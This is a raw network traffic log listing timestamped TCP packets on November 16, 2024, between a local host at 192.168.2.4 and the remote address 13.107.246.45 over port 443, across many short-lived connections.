Nov 16, 2024 20:13:22.228611946 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.228660107 CET	49982	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.228667974 CET	443	49982	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.237436056 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.237468958 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.237535954 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.237879992 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.237895012 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.267242908 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.267349005 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.267416954 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.267535925 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.267556906 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.267570972 CET	49983	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.267577887 CET	443	49983	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.270335913 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.270421982 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.270524979 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.270673990 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.270714998 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.358798027 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.359301090 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.359323025 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.359940052 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.359947920 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.487302065 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.487385035 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.487441063 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.487653971 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.487674952 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.487688065 CET	49984	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.487694979 CET	443	49984	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.490483046 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.490514994 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.490586996 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.490725040 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.490741968 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.681040049 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.681711912 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.681735992 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.682266951 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.682271957 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.811899900 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.811971903 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.812222958 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.812299967 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.812299967 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.812340021 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.812366009 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.815021992 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.815108061 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.815190077 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.815341949 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.815378904 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.944367886 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.944931030 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.944961071 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.945414066 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.945422888 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.966845989 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.967226982 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.967251062 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:22.967725039 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:22.967730045 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.046891928 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.047336102 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.047398090 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.047718048 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.047734976 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.081003904 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.081151962 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.081861019 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.081912994 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.081933975 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.081948996 CET	49986	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.081955910 CET	443	49986	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.084849119 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.084882021 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.085031986 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.085246086 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.085263968 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.096398115 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.096472025 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.096527100 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.096636057 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.096653938 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.096685886 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.096690893 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.098948002 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.099033117 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.099208117 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.099366903 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.099404097 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.187799931 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.187961102 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.188097000 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.188179016 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.188179016 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.188220978 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.188246965 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.190808058 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.190850019 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.191087008 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.191087008 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.191118956 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.231441021 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.231910944 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.231940031 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.232388973 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.232397079 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.368309021 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.368396997 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.368710041 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.368763924 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.368788958 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.368803978 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.368810892 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.372497082 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.372585058 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.372684956 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.372914076 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.372951984 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.546778917 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.547455072 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.547517061 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.547904968 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.547920942 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.678793907 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.678867102 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.678978920 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.679167032 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.679167032 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.679980993 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.679981947 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.680048943 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.680083036 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.686796904 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.686836004 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.686954975 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.687299967 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.687316895 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.821993113 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.822885990 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.822916985 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.823353052 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.823360920 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.854650021 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.855288029 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.855377913 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.855953932 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.856039047 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.926211119 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.926855087 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.926872969 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.927548885 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.927552938 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.950659037 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.950812101 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.950880051 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.951105118 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.951105118 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.951122999 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.951133966 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.963799953 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.963829994 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.963912964 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.964035988 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.964050055 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.987221956 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.987401962 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.987483978 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.987588882 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.987588882 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.987629890 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.987657070 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.989943981 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.990000010 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:23.990072966 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.990243912 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:23.990264893 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.055144072 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.055284023 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.055344105 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.055438042 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.055454969 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.055474997 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.055480957 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.058088064 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.058129072 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.058227062 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.058331966 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.058351040 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.112998009 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.113805056 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.113833904 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.114113092 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.114125013 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.242326021 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.242382050 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.242451906 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.242516994 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.242609024 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.242666006 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.242753983 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.242789030 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.242820978 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.242835999 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.245734930 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.245767117 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.245843887 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.246002913 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.246015072 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.431658983 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.432337046 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.432364941 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.432820082 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.432831049 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.600900888 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.600918055 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.600989103 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.601028919 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.601077080 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.601355076 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.601376057 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.601387978 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.601394892 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.604461908 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.604487896 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.604572058 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.604700089 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.604712963 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.698733091 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.699229002 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.699270964 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.700814009 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.700822115 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.790127993 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.790972948 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.791016102 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.791438103 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.791450024 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.826653004 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.827047110 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.827078104 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.827474117 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.827478886 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.830751896 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.830811977 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.830868959 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.830897093 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.830921888 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.830971003 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.831101894 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.831119061 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.831130981 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.831137896 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.833951950 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.834036112 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.834140062 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.834247112 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.834269047 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.934464931 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.934530973 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.934586048 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.934621096 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.934647083 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.934691906 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.934772968 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.934784889 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.934801102 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.934807062 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.937489986 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.937536955 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.937608957 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.937731981 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.937740088 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.962919950 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.963076115 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.963133097 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.963164091 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.963191986 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.963202953 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.963207960 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.967834949 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.967879057 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.967957020 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.968086004 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.968116999 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.981740952 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.986268997 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.986285925 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:24.987561941 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:24.987567902 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.112885952 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.113082886 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.113172054 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.113270998 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.113291979 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.113305092 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.113310099 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.116411924 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.116439104 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.116527081 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.116703987 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.116715908 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.344249010 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.347043037 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.347064972 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.347632885 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.347636938 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.474272013 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.474298000 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.474348068 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.474395037 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.474431992 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.474711895 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.474730968 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.474741936 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.474746943 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.477900982 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.477943897 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.478034973 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.478199005 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.478218079 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.567298889 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.567857027 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.567938089 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.568331003 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.568347931 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.665098906 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.669420958 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.669442892 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.669915915 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.669920921 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.700033903 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.700098038 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.700186968 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.700203896 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.700257063 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.700459957 CET	50001	443	192.168.2.4	13.107.246.45
